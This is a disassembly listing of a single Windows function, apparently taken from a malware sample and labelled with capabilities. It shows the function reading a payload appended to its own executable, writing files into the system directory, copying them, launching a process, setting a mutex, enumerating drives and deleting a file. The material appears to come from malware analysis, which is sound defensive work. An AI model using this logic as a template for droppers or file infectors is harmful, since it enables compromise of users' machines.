Function at 0x404f80
Capabilities:
Check mutex on windows
Copy file
Create process on windows
Delete file
Get common file path
Get disk information
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x27
push 0
push 0
dec ecx
jne 0x404f88
push ebx
push esi
push edi
mov eax, 0x404f58
call fcn.00404154
xor eax, eax
push ebp
push 0x40541f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xfe
call fcn.004024a4
mov ebx, eax
mov eax, 0x64
call fcn.004024a4
mov esi, eax
push 0xfe
push ebx
mov eax, dword [0x4074c4]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
push 0x64
push esi
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x110]
mov edx, esi
call fcn.00402628
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x10]
call fcn.00402fa4
push dword [ebp - 0x10]
push 0x405438
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x118]
mov edx, ebx
call fcn.00402f74
mov eax, dword [ebp - 0x118]
call fcn.00402fec
mov edi, eax
lea eax, [ebp - 0x11c]
mov edx, ebx
call fcn.00402f74
mov eax, dword [ebp - 0x11c]
call fcn.00404ef4
sub edi, eax
push edi
lea eax, [ebp - 0x120]
mov edx, ebx
call fcn.00402f74
mov eax, dword [ebp - 0x120]
call fcn.00404ef4
inc eax
push eax
lea eax, [ebp - 0x124]
mov edx, ebx
call fcn.00402f74
mov eax, dword [ebp - 0x124]
pop edx
pop ecx
call fcn.004031bc
push dword [ebp - 0x114]
mov eax, 0x4074e4
mov edx, 3
call fcn.004030ac
lea eax, [ebp - 0x128]
mov edx, esi
call fcn.00402f74
mov edx, dword [ebp - 0x128]
mov eax, 0x4074e8
mov ecx, 0x405444
call fcn.00403038
lea eax, [ebp - 0x12c]
mov edx, esi
call fcn.00402f74
mov edx, dword [ebp - 0x12c]
mov eax, 0x4074ec
mov ecx, 0x405458
call fcn.00403038
lea eax, [ebp - 0x130]
mov edx, esi
call fcn.00402f74
mov edx, dword [ebp - 0x130]
mov eax, 0x4074f0
mov ecx, 0x40546c
call fcn.00403038
push 0
push 2
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
push 0x4074dc
push 4
push 0x4074e0
push ebx
call sub.kernel32.dll_ReadFile_1
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
mov eax, dword [0x4074ec]
call fcn.004031b0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x4074d4], eax
cmp dword [0x4074d4], 0xffffffff
je 0x405282
mov eax, dword [0x4074e0]
call fcn.004024a4
mov esi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
push 0x4074dc
mov eax, dword [0x4074e0]
push eax
mov edi, esi
push edi
push ebx
call sub.kernel32.dll_ReadFile_1
push 0
push 0x4074dc
mov eax, dword [0x4074e0]
push eax
push edi
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_FlushFileBuffers
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov edx, dword [0x4074f0]
mov eax, dword [0x4074ec]
call fcn.00404e7c
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [0x4074e8]
call fcn.004031b0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x4074d4], eax
cmp dword [0x4074d4], 0xffffffff
je 0x405265
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [0x4074ec]
call fcn.004031b0
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x405258
push 0
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_GetFileSize_1
mov edi, eax
push 0
push esi
call sub.kernel32.dll_GetFileSize_1
cmp edi, eax
jbe 0x405252
push 0
mov eax, dword [0x4074e8]
call fcn.004031b0
push eax
mov eax, dword [0x4074ec]
call fcn.004031b0
push eax
call sub.kernel32.dll_CopyFileA
push esi
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x405282
push 0xffffffffffffffff
mov eax, dword [0x4074e8]
call fcn.004031b0
push eax
mov eax, dword [0x4074ec]
call fcn.004031b0
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x22
push 1
push 0
push 3
push 0xc0000000
mov eax, dword [0x4074e4]
call fcn.004031b0
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x40531a
push 2
push 0
push 0xfffffffffffffff6
push ebx
call sub.kernel32.dll_SetFilePointer_1
mov edi, eax
mov eax, edi
sub eax, dword [0x4074e0]
call fcn.004024a4
mov dword [0x4074d8], eax
push 0
push 0
mov eax, dword [0x4074e0]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
push 0x4074dc
mov eax, edi
sub eax, dword [0x4074e0]
push eax
mov eax, dword [0x4074d8]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
push 0
push 0x4074dc
sub edi, dword [0x4074e0]
push edi
mov eax, dword [0x4074d8]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_FlushFileBuffers
push esi
call sub.kernel32.dll_CloseHandle_1
push ebx
call sub.kernel32.dll_CloseHandle_1
push 0x8007
call sub.kernel32.dll_SetErrorMode
push 0x407538
push 0x4074f4
push 0
push 0
push 0x4000000
push 0xffffffffffffffff
push 0
push 0
push 0
mov eax, dword [0x4074e4]
call fcn.004031b0
push eax
call sub.kernel32.dll_CreateProcessA
push 0x405478
push 0
push 0
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
je 0x4053dc
push 0x407548
call sub.kernel32.dll_GetSystemTime
mov bl, 0x43
lea eax, [ebp - 0x134]
mov edx, ebx
call fcn.00402f64
lea eax, [ebp - 0x134]
mov edx, 0x40548c
call fcn.00402ff4
mov eax, dword [ebp - 0x134]
call fcn.00404bc0
inc ebx
lea eax, [ebp - 0x138]
mov edx, ebx
call fcn.00402f64
lea eax, [ebp - 0x138]
mov edx, 0x40548c
call fcn.00402ff4
mov eax, dword [ebp - 0x138]
call fcn.004031b0
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
jne 0x4053dc
cmp bl, 0x4d
jb 0x40537b
push 0xffffffffffffffff
mov eax, dword [0x407538]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [0x4074e4]
call fcn.004031b0
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405426
lea eax, [ebp - 0x138]
mov edx, 0xa
call fcn.00402e9c
lea eax, [ebp - 0x10]
call fcn.00402e78
ret